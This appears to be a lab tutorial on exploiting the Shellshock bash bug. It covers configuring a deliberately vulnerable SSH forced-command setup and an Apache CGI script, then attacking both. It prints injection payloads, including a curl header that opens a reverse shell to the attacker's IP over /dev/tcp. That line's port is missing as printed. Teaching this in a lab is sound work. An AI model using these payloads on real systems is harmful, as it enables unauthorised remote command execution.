Practical shellshock exploitation – part two
Topics Covered
- Background
- Prerequisites
Configuring SSH server
- Adding a new user
- Creating authorized keys for a specific client
- Adding authorized keys to the SSH server
- Logging in using authorized keys
- The exploit
- Configuring Apache server to make it vulnerable
- The exploit
- Remediation
Background
FREE role-guided training plans
In the previous article, we saw the internal details of the Shellshock vulnerability. In this article, we will see how to exploit the bash bug in the following scenarios.
- SSH exploit
- Apache server exploit
But before proceeding further, it is recommended to go through the first part of this series.
Prerequisites
Software required
- VirtualBox Download and install VirtualBox from www.virtualbox.org
- A machine vulnerable to Shellshock – Victim I am using Kali Linux since it is vulnerable to the bash bug.
- Any Unix/Linux based machine – Attacker Finally, we need a machine to attack. A Linux box is preferred, since I am going to demonstrate everything using command line tools. In my case, I am using a machine running Mac.
Install both attacker and victim's machines in VirtualBox. Make sure they are able to communicate with each other.
The above figure shows my final set up.
Getting crazy: Usually, Kali Linux will be the attacker in almost all the demos. Let's go crazy and make Kali vulnerable this time and attack it using another machine (Mac in my case).
Exploiting Shellshock on a vulnerable SSH
In order for our exploit to work, the following are the requirements:
- Obviously, a vulnerable bash shell
- User must be authenticated using 'authorization_keys'
- User must be restricted to run some specific commands.
Well, let us begin setting up all the above.
Configuring a vulnerable SSH Server
In this section, we will see why SSH servers can be vulnerable to Shellshock. We will configure a deliberately vulnerable SSH server. As a part of that, we will do the following steps.
- Adding a new user account on the server (victim).
- Creating authorization keys for the client (attacker).
- Adding authorization keys to the sshd configuration file.
- Logging in using authorization keys.
1. Adding a new user account on the server
First fire up your Kali Linux and add a new user account with the name "shellshock".
useradd –d /home/shellshock –s /bin/bash shellshock
In the above figure, we have added a new user "shellshock".
"/home/shellshock/" is the home directory.
"/bin/bash/" is the absolute path to the shell.
Let us look at the /etc/passwd file to cross check the user created using the following command.
[bash]
cat /etc/passwd | grep 'shellshock'
[/bash]
Now create a new directory as shown below.
Recursively grant the ownership of the above-created directory to the user "shellshock". This is shown below.
2. Creating authorization keys for the client
This is an interesting part if you haven't ever used SSH using authorization keys.
Usually, we use username and password to login to an SSH account. In order to exploit this bash vulnerability, the user must be authenticated using authorization keys without requiring entering the username and password each time the client connects to the server.
In this section, we will see how to set it up.
Public key authentication is known to be a more secure and robust way to connect to a remote SSH server. SSH public key authentication relies on asymmetric cryptographic algorithms (example: RSA) to generate a pair of keys (a private key and a public key).
The private key usually is stored on the client's machine, which is used to connect to the remote system.
The public key is shared with the remote system where SSH server is running.
Steps to generate authorization keys
Login to the attacker's machine and type the following command in the terminal.
[bash]
$ ssh-keygen –t rsa
[/bash]
The above command is to generate public/private RSA key pair.
Once we hit enter, it will prompt us to choose the path to save these keys. I am hitting enter without entering anything, thus leaving the default path.
Now, we will be prompted for the passphrase. Since, we are doing it for demo purposes, I am leaving it blank. If we press enter without entering a password, our private key will be generated without password protection.
Finally, we will be greeted with the following screen.
As we can see in the above figure, the Private key and Public key have been generated.
[bash]
Private key - /Users/srini0x00/.ssh/id_rsa
Public key - /Users/srini0x00/.ssh/id_rsa.pub
[/bash]
We can see the content of private and public keys using the cat command.
The below figure shows the public key.
Now, it's time to send this public key to the remote server.
You can do it in any way you like, just to save time I am sending it over SFTP.
First, copy it to the Desktop.
Send the public key to the remote server over SFTP.
3. Adding authorization keys to the SSH server
First, make sure that you have received your public key on the server.
Just to cross check, I am running the following command in my terminal.
[bash]
ls –l id_rsa.pub
[/bash]
Now, create a new directory ".ssh" inside "/home/shellshock" as shown below.
Place the public key in /.ssh/authorized_keys file. We can write the content of id_rsa.pub to authorized_keys as shown below.
[bash]
cat id_rsa.pub > ~/.ssh/authorized_keys
[/bash]
Finally, open your sshd_config file to make sure that PublickeyAuthentication is enabled and AuthorizedkeysFile are specified correctly.
The above command is to open the file "sshd_config".
As we can see in the figure below, everything is perfect.
Logging in from the client
We can now login to the server from the client machine as shown below and we won't be prompted for the password.
This is basically what is known as SSH Public key authentication.
The user now can even pass his commands to the SSH server as arguments.
Let's check how to see the 'date' as an argument.
What makes it vulnerable?
The above Public key authentication may be vulnerable if it is configured to restrict a predefined set of commands for a user.
This can be accomplished using the command option.
I am going to use the 'command' option in the 'authorized_keys' file to run a specific script.
For demo purposes, I am going to use a very simple script named script.sh, which is shown below.
The above script simply shows a message if the user passes the "date" command as an argument. If anything else is passed, it gets executed.
Give it executable permissions using the following command.
[bash]
chmod +x script.sh
[/bash]
Now, add the path of this script to "authorized_keys" file. This is shown below.
Now, try passing "date" as a command line argument as shown below.
[bash]
$ ssh <a href="mailto:shellshock@192.168.1.104">shellshock@192.168.1.104</a> date
[/bash]
This will throw a simple message as shown below.
Whenever a user tries to connect to the server over SSH, the user supplied argument will be kept in SSH_ORIGNAL_COMMAND.
'script.sh' which is specified in 'authorized_keys' file will first be executed before the user commands are executed. This gives a greater control over the user supplied input.
The exploit
Now, let us use our classic Shellshock exploit we learnt in the previous article. I am just adding the following line to the actual line used for regular connection:
[bash]
'() { :;}; date'
[/bash]
As we can see in the above figure, we are getting the output of the 'date' command even though it is not supposed to be executed.
Unlike the previous case, where 'date' is blocked by script.sh specified in the authorized_keys file, this time our arbitrary command itself is becoming the first command and hence we are getting the date printed.
Exploiting HTTP/S server
We can use the Shellshock vulnerability to compromise a server running cgi or any other scripts that trigger a bash shell with environment variables, which can be controlled by the attacker.
Now, let us see how to configure and exploit an apache server.
Configuring Apache server
Open up a terminal in your Kali Linux and type the following command to launch Apache HTTP server.
Navigate to /usr/lib/cgi-bin/ directory and create a new shell script as shown in the figure below.
Let us check if we can access this file remotely.
I am using a popular command line tool called curl to send a request to the remote server hosted on Kali Linux as shown below.
[bash]
curl http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]
As we can see in the above figure, we are getting the expected response – "bash example".
Now, let us use the flag '-v' to see the information being sent and received during the communication between client and server.
[bash]
curl –v http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]
The exploit
As we can see, we are trying to hit the 'vulnerable.sh' file on the server.
Usually, when a parent process hits a bash shell, it passes all the header parameters to the child process in the form of environment variables.
We can take advantage of this functionality to modify and craft a malicious request to get a reverse shell on the vulnerable remote server.
So, let us again use curl to send a request with tampered headers.
But before this, start a new terminal on the attacker's machine and use Netcat to listen for incoming connections as we are going to execute a payload which gives a reverse shell.
The following figure shows Netcat listening on port 4444.
Now, send the malicious request using curl as shown below.
[bash]
curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.1.102 0>&1' http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]
If you want to understand how the request is going to the server in this case, use the '–v' switch.
Now, if we go back to the terminal where we started Netcat, we should see a reverse connection shell spawned as shown below.
Remediation
The easiest way to fix Shellshock is to update your bash shell as suggested by the vendor.
Image credits:
Computer: https://www.iconfinder.com/icons/171512/computer_icon
FREE role-guided training plans